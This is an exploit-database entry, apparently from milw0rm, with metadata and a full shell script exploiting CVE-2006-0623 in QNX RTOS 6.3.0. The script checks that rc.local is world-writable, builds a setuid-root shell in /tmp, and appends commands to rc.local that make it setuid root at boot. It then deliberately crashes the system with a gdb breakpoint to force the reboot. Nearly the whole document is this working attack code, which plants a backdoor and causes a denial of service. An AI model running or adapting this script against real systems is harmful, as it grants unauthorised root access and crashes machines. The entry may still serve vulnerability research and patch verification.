QNX RTOS 6.3.0 - Insecure 'rc.local' Permissions System Crash / Privilege Escalation

Author: kokanin
type: local
platform: qnx
port: 
date_added: 2006-02-07  
date_updated: 2017-04-01  
verified: 1  
codes: OSVDB-22958;CVE-2006-0623  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 1481.sh  
#!/bin/sh
# this combines http://www.idefense.com/intelligence/vulnerabilities/display.php?id=387
# and http://www.idefense.com/intelligence/vulnerabilities/display.php?id=386
# into local r00t w00t t00t t00t, hugs and kisses from www.lort.dk.
# unset PAGER; man chmod | mail -s "urgent reading" support@qnx.com
# kokanin discovered this around august/september 2004
echo "performing check"
if [ -w /etc/rc.d/rc.local ] ;
then echo "check passed, backdooring system" &&
cat >/tmp/moo.c << __EOF__ && cd /tmp && make moo && echo "chown root /tmp/moo\
&& chmod 6755 /tmp/moo" >> /etc/rc.d/rc.local && echo "rc.local backdoored,\
 crashing system" && echo -e "break *0xb032d59f\nr\ncont\ncont" | gdb gdb;
int main(){
setuid(0);
system("/bin/sh");
}
__EOF__
else echo "system is not a default QNX 6.3.0 install, or someone set correct permissions manually, sorry";
fi

# milw0rm.com [2006-02-08]